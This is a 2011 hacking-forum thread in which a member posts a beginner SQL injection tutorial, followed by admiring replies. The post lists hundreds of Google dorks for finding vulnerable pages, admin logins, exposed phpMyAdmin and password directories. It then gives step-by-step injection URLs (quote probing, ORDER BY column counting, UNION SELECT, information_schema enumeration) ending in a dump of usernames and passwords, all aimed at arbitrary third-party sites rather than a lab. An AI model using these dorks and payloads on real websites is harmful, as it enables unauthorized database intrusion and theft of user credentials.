

Forum:[Hack Forums](#)

Thread: [\[TUT\] Easy SQL Injection Tutorial \[TUT\]](#)

Chromosome - July 17, 2011, 2:21 pm

Hello

My journey on HF will start with making an detailed TUT on SQL injection.
I hope that you will enjoy it and post replays to this thread :)

In this TUT I'm going to teach you how to get the:
Admin/users info from database from an vulnerable site.
Finding Admin Login
Cracking The Hashes

If any of you dont know what a database is:

It's an collection of data.Website Database is used for storing user/admins ids,passwords,web page details and more.

Ok Now We are going to start with the injection details
What is SQL Injection?

SQL injection is a code injection technique that exploits a security vulnerability occurring in the database layer of an application (like queries). The vulnerability is present when user input is either incorrectly filtered for string literal escape characters embedded in SQL statements or user input is not strongly typed and thereby unexpectedly executed.

[Wikipedia](#)

Now we know roughly what we are going to do.

Now Let's Start With Our SQL injection lesson

Step 1: Finding Vulnerable Websites

For This We Need Google Dorks:

Google Dork is searching for vulnerable websites using the google search engine.

Code inurl:index.php?id=
inurl:trainers.php?id=
inurl:buy.php?category=
news-article.php?id=
inurl:article.php?ID=
inurl:play_old.php?id=
inurl:order.php?cat_id=
inurl:declaration_more.php?decl_id=
inurl:pageid=
inurl:games.php?id=
inurl:page.php?file=
inurl:newsDetail.php?id=
inurl:gallery.php?id=
allinurl:index.php?page=upload.php
allinurl:upload.php

allinurl:index of /upload.php
index of upload.php
inurl:upload.php
inurl:/upload/upload.php
inurl:index.php?id=
inurl:trainers.php?id=
inurl:buy.php?category=
inurl:article.php?ID=
inurl:play_old.php?id=
inurl:declaration_more.php?decl_id=
inurl:Pageid=
inurl:games.php?id=
inurl:page.php?file=
inurl:newsDetail.php?id=
inurl:gallery.php?id=
inurl:article.php?id=
inurl:show.php?id=
inurl:staff_id=
inurl:newsitem.php?num=
inurl:readnews.php?id=
inurl:top10.php?cat=
inurl:historialeer.php?num=
inurl:reagir.php?num=
inurl:forum_bds.php?num=
inurl:game.php?id=
inurl:view_product.php?id=
inurl:newsone.php?id=
inurl:sw_comment.php?id=
inurl:news.php?id=
inurl:avd_start.php?avd=
inurl:event.php?id=
inurl:product-item.php?id=
inurl:sql.php?id=
inurl:news_view.php?id=
inurl:select_biblio.php?id=
inurl:humor.php?id=
inurl:aboutbook.php?id=
inurl:fiche_spectacle.php?id=
inurl:communique_detail.php?id=
inurl:sem.php3?id=
inurl:kategorie.php4?id=
inurl:news.php?id=
inurl:index.php?id=
inurl:faq2.php?id=
inurl:show_an.php?id=
inurl:preview.php?id=
inurl:loadpsb.php?id=
inurl:opinions.php?id=
inurl:spr.php?id=
inurl:pages.php?id=
inurl:announce.php?id=
inurl:clanek.php4?id=
inurl:participant.php?id=

inurl:download.php?id=
inurl:main.php?id=
inurl:review.php?id=
inurl:chappies.php?id=
inurl:read.php?id=
inurl:prod_detail.php?id=
inurl:viewphoto.php?id=
inurl:article.php?id=
inurl:person.php?id=
inurl:productinfo.php?id=
inurl:showimg.php?id=
inurl:view.php?id=
inurl:website.php?id=
inurl:hosting_info.php?id=
inurl:gallery.php?id=
inurl:rub.php?idr=
inurl:view_faq.php?id=
inurl:artikelinfo.php?id=
inurl:detail.php?ID=
inurl:index.php?=
inurl:profile_view.php?id=
inurl:category.php?id=
inurl:publications.php?id=
inurl:fellows.php?id=
inurl:downloads_info.php?id=
inurl:prod_info.php?id=
inurl:shop.php?do=part&id=
inurl:Productinfo.php?id=
inurl:collectionitem.php?id=
inurl:band_info.php?id=
inurl:product.php?id=
inurl:releases.php?id=
inurl:ray.php?id=
inurl:Riskier@Hackforums.net.php?id=
inurl:Ripcheck;]?=
inurl:produit.php?id=
inurl:pop.php?id=
inurl:shopping.php?id=
inurl:productdetail.php?id=
inurl:post.php?id=
inurl:viewshowdetail.php?id=
inurl:clubpage.php?id=
inurl:memberInfo.php?id=
inurl:section.php?id=
inurl:theme.php?id=
inurl:page.php?id=
inurl:shredder-categories.php?id=
inurl:tradeCategory.php?id=
inurl:product_ranges_view.php?ID=
inurl:shop_category.php?id=
inurl:transcript.php?id=
inurl:channel_id=
inurl:item_id=

inurl:newsid=
inurl:trainers.php?id=
inurl:news-full.php?id=
inurl:news_display.php?getid=
inurl:index2.php?option=
inurl:readnews.php?id=
inurl:top10.php?cat=
inurl:newsone.php?id=
inurl:event.php?id=
inurl:product-item.php?id=
inurl:sql.php?id=
inurl:aboutbook.php?id=
inurl:review.php?id=
inurl:loadpsb.php?id=
inurl:ages.php?id=
inurl:material.php?id=
inurl:clanek.php4?id=
inurl:announce.php?id=
inurl:chappies.php?id=
inurl:read.php?id=
inurl:viewapp.php?id=
inurl:viewphoto.php?id=
inurl:rub.php?idr=
inurl:galeri_info.php?l=
inurl:review.php?id=
inurl:iniziativa.php?in=
inurl:curriculum.php?id=
inurl:labels.php?id=
inurl:story.php?id=
inurl:look.php?ID=
inurl:newsone.php?id=
inurl:aboutbook.php?id=
inurl:material.php?id=
inurl:opinions.php?id=
inurl:announce.php?id=
inurl:rub.php?idr=
inurl:galeri_info.php?l=
inurl:tekst.php?idt=
inurl:newscat.php?id=
inurl:newsticker_info.php?idn=
inurl:rubrika.php?idr=
inurl:rubp.php?idr=
inurl:offer.php?idf=
inurl:art.php?idm=
inurl:title.php?id=

inurl:"id=" & intext:"Warning: mysql_fetch_assoc()
inurl:"id=" & intext:"Warning: mysql_fetch_array()
inurl:"id=" & intext:"Warning: mysql_num_rows()
inurl:"id=" & intext:"Warning: session_start()
inurl:"id=" & intext:"Warning: getimagesize()
inurl:"id=" & intext:"Warning: is_writable()
inurl:"id=" & intext:"Warning: getimagesize()

inurl:"id=" & intext:"Warning: Unknown()
inurl:"id=" & intext:"Warning: session_start()
inurl:"id=" & intext:"Warning: mysql_result()
inurl:"id=" & intext:"Warning: pg_exec()
inurl:"id=" & intext:"Warning: mysql_result()
inurl:"id=" & intext:"Warning: mysql_num_rows()
inurl:"id=" & intext:"Warning: mysql_query()
inurl:"id=" & intext:"Warning: array_merge()
inurl:"id=" & intext:"Warning: preg_match()
inurl:"id=" & intext:"Warning: filesize()
inurl:"id=" & intext:"Warning: filesize()
inurl:"id=" & intext:"Warning: filesize()
inurl:"id=" & intext:"Warning: require()
allinurl: \"index.php go buy\"
allinurl: \"index.php?go=sell\"
allinurl: \"index.php go linkdir\"
allinurl: \"index.php?go=resource_center\"
allinurl: \"resource_center.html\"
allinurl: \"index.php?go=properties\"
allinurl: \"index.php?go=register\"
allinurl:index.php?page=upload.php
allinurl:upload.php
allinurl:index of /upload.php
index of upload.php
inurl:upload.php
inurl:/upload/upload.php
allinurl: \"index.php go buy\"
allinurl: \"index.php?go=sell\"
allinurl: \"index.php go linkdir\"
allinurl: \"index.php?go=resource_center\"
allinurl: \"resource_center.html\"
allinurl: \"index.php?go=properties\"
allinurl: \"index.php?go=register\"
allinurl:admin/index.asp
allinurl:admin/default.asp
allinurl:admin/admin.asp
allinurl:admin/login.asp
allinurl:/admin/entrar.asp
allinurl:/admin/default.asp
allinurl:/admin/index.asp
allinurl:/admin/login.asp
allinurl:/admin/password.asp
allinurl:/admin/senha.asp
allinurl:/login/login.asp
allinurl:/adm/login.asp
allinurl:/adm/index.asp
allinurl:/adm/default.asp
allinurl:/login/index.asp
allinurl:/login/default.asp
allinurl:/webmaster/login.asp
allinurl:/webadmin/default.asp
allinurl:/webadmin/index.asp
allinurl:/webadmin/default.asp

allinurl:/menu_admin/default.asp
allinurl:/menu_admin/index.asp
allinurl:/menu_admin/login.asp
allinurl:/noticias/admin/
allinurl:/news/admin/
allinurl:/cadastro/admin/
allinurl:/portal/admin/
allinurl:/site/admin/
allinurl:/home/admin.asp
allinurl:/home/admin/index.asp
allinurl:/home/admin/default.asp
allinurl:/home/admin/login.asp
allinurl:/web/admin/index.asp
allinurl:/web/admin/default.asp
allinurl:/web/admin/login.asp
allinurl:/home/adm/login.asp
allinurl:/home/adm/senha.asp
"Index Of /network" "last modified"
"index of cgi-bin"
"index of" / pica.ini
"index of" inurl:recycler
"Index of" rar r01 nfo Modified 2004
"intitle:Index.Of /" stats merchant cgi-* etc
"Powered by Invision Power File Manager" (inurl:login.php) | (intitle:"Browsing directory /")
"Web File Browser" "Use regular expression"
"Welcome to phpMyAdmin" " Create new database"
allinurl:"/*/_vti_pvt/" | allinurl:"/*/_vti_cnf/"
filetype:cfg ks intext:rootpw -sample -test -howto
filetype:torrent torrent
Index of phpMyAdmin
index.of.dcm
index.of.password
index.of.password
intext:"d.aspx?id" || inurl:"d.aspx?id"
intext:"Powered By: TotalIndex" intitle:"TotalIndex"
intitle:"album permissions" "Users who can modify photos" "EVERYBODY"
intitle:"Directory Listing For" intext:Tomcat -intitle:Tomcat
intitle:"HFS /" +"HttpFileServer"
intitle:"Index of *" inurl:"my shared folder" size modified
intitle:"Index of /CFIDE/" administrator
intitle:"Index of c:\Windows"
intitle:"index of" "parent directory" "desktop.ini" site:dyndns.org
intitle:"index of" -inurl:htm -inurl:html mp3
intitle:"Index of" cfide
intitle:"index of" intext:"content.ie5"
intitle:"index of" inurl:ftp (pub | incoming)
intitle:"index.of.personal"
intitle:"webadmin - /*" filetype:php directory filename permission
intitle:index.of (inurl:fileadmin | intitle:fileadmin)
intitle:index.of /AlbumArt_
intitle:index.of abyss.conf
intitle:intranet inurl:intranet +intext:"human resources"
intitle:upload inurl:upload intext:upload -forum -shop -support -w3c

inurl:/pls/sample/admin_/help/

inurl:/tmp

inurl:backup intitle:index.of inurl:admin

inurl:j2ee/examples/jsp

inurl:ojspdemos

"Index of /backup" --Look in my backup directories! Please?--

index.of.private --private--

index.of.protected --protected--

index.of.secret --secret--

index.of.secure --secure--

index.of.winnt --winnt--

intitle:PhpMyAdmin "Welcome to phpMyAdmin****" running on * as root@*

Thanks To:[b]riskier[/b]For the Collection.[If You are To LAZY For Searching sites Use This Vul. Site Collection](#)

Step 2: How To Use Google Dorks

Copy one of the ab[/align]ove dorks and paste in the google search engine box.

Hit enter.

Step 3: Finding if the site is vulnerabil to our SQL

We have to visit the websites one by one for checking the vulnerability.

So just pick a site and then to check if the site is vul. add ' to the last number

Code `http://www.vultoSQL.com/news.php?id=9 '`

If the page remains in same or showing that page not found or showing some other webpages. Then it is not vulnerable :(You will have to try another site then.

If it shows any errors which is related to sql query,then it is vulnerable. ?

Example

Code You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '\ ' at line 1

Step 3: Finding Number of columns:

Now we have found the website is vulnerable. Next step is to find the number of columns in the table.

For that replace the single quotes(') with "order by number" statement.

Change the number from 1,2,3,4,,5,6,...n. Until you get the error like "unknown column ".

[i]For Example

Code `http://www.vultoSQL.com/news.php?id=9 [b]order by 1`

`http://www.vultoSQL.com/news.php?id=9 order by 2`

`http://www.vultoSQL.com/news.php?id=9 order by 3`

`http://www.vultoSQL.com/news.php?id=9 order by 4`

`http://www.vultoSQL.com/news.php?id=9 order by[/b] 5`

Sometime the above may not work! At that time add the "--" at the end of the statement.[/i]

Example

Code `http://www.vultoSQL.com/news.php?id=-9 order by 5[b]--[b]`

Step 4: Displaying the Vulnerable columns:

Using "union select" we can find the vulnerable part of the table. Replace the "order by number" with this statement. And change the id value to negative(i mean id=-3,must change,but in some website may work without changing).

Replace the columns with the number you got from order by number

Example

If the number of columns(order by) is 3 ,then the query is as follow:

Code <http://www.vultoSQL.com/news.php?id=-9> union all select 1,2,3--
This Will Show Some Nubers In the page:
Pic:

Now select one number.
In my case it's showing 2,3. Let's take the Number 3.

Step 5: Finding version,database,user,admins
Now replace the 3 from the query with "version()"

Example

<http://www.vultoSQL.com/news.php?id=-9> and 1=2 union all select 1,2,version()--
Pic:

It will show the version as 5.0.1 or 4.3. something like this.

Now we have to Replace the version() with database() and user() for finding the database,user respectively.

Example

<http://www.vultoSQL.com/news.php?id=-9> union all select 1,2,database(),4,5,6,7--
Pic:

<http://www.vultoSQL.com/news.php?id=-9> and 1=2 union select 1,2,user(),4,5,6,7--
Pic:

Step 6: Finding the Table Name

If the version is 5 or above. Then follow these steps. Now we have to find the table name of the database. Replace the 3 with "group_concat(table_name)" and add the "from information_schema.tables where table_schema=database()" in the end"

Example

<http://www.vultoSQL.com/news.php?id=-9> union all select
1,2,group_concat(table_name) from information_schema.tables where table_schema=database()--
Pic:

This will show the list of table names. Find the table name which is related with the admin or user.

Now select any table that is simmilar with an user,admin,poweruser,...

if the version is 4 or some others, you have to guess the table names. (user, tbluser). It is hard and bore to do sql injection with version 4.

[If So Try Havij For Help](#)

Step 7: Finding the Column Name

Now replace the "group_concat(table_name) with the "group_concat(column_name)"

Replace the "from information_schema.tables where table_schema=database()--" with "FROM information_schema.columns WHERE table_name=mysqlchar--

Now here we have some fun ,we have to convert the table name to MySql CHAR() string and replace mysqlchar with that .

Find MySQLChar() for Tablename:

First of all we are going to visit this site

[Ascii Number Converter](#)

Then enter the table name in the box, i found tbluser on the site witch is the closest to admin.
Pic:

Copy and paste the code at the end of the url instead of the "mysqlchar"

For eg:

<http://www.vultoSQL.com/news.php?id=-9> union all select 1,2,group_concat(column_name) from information_schema.columns where table_name=CHAR(mysqlchar)--

P.s: You have to remove all the spaces beetwen those numbers and add ,

For Example

(116,098,108,117,115,101,114)

Now when the page loads it will show something like this:

tbluser_id,tbluser_name,tbluser_surname,tbluser_sex,tbluser_home,tbluser_mobile,tbluser_office,tbluser_address,tblcountry_id,tbluser_username,tbluser_password...

Now replace the group_concat(column_name) with group_concat(columnname,0x3a,anothercolumnname).

Columnname should be replaced from the listed column name.
anothercolumnname should be replace from the listed column name.

Now replace the " from information_schema.columns where table_name=CHAR(97, 100, 109, 105, 110)" with the "from table_name"

Example

<http://www.vultoSQL.com/news.php?id=-9>
1,2,group_concat(tbluse_username,0x3a,tbluser_pass) from tbluser--

Pleas Post to keep my first tut a live

Infectory - July 17, 2011, 2:39 pm

Nice tutorial man, thanks ;)

NA0S - July 17, 2011, 5:29 pm

Awesome, I've been meaning to learn this properly once and for all.

Found this guide to be really helpfull. There are a few typo's but apart from that! 5 stars man!

Example - July 17, 2011, 5:33 pm

I don't see how this is any better than all of the other SQLi tutorials on here.

I can see you put some effort into this though, good job on at least trying to contribute to this dying community.

asifali2000 - July 17, 2011, 7:18 pm

NICE tut best for nooobs,,

mayee.28 - July 17, 2011, 9:29 pm

Nice one mate !!!

Keep going !!!

Have a happy hacking !!!

???

Chromosome - July 18, 2011, 1:15 am

Thanks for all of your comments

GreenEnergy - July 18, 2011, 3:37 am

Nice tut man 4 posts and already a cool tut keep up the god work

thethatguy - July 18, 2011, 4:17 am

Nice thanks for sharing and taking the time and effort, the more tutorials there are the easier it is to find for any user old or new.

conan_1 - July 18, 2011, 4:22 am

Nice tut, but We need another syntaxes for sqli it's always the same so any one have another tuts with differents syntaxes please put them or send them to me in a pm.
thanks! :)

kobez - July 18, 2011, 5:02 am

Good tutorial mate, will really show the basics to some of these users on HF attempting to learn SQL Injection.

Thanks for the post.

kobez

bily1234567892 - May 26, 2015, 8:01 am

Thanks for the big help this helped me a lot

Despicabl3 - May 26, 2015, 8:09 am

Thanks. this is helpful for beginners

mokongpogi23 - *May 27, 2015, 1:35 am*

thank you for this.. its kinda old but hope that this will still work

Charmzi - *May 27, 2015, 2:20 am*

Nice tut man 4 posts and already a cool tut keep up the god work

BahNahNah - *May 27, 2015, 2:22 am*

Guys, this post is from 2011.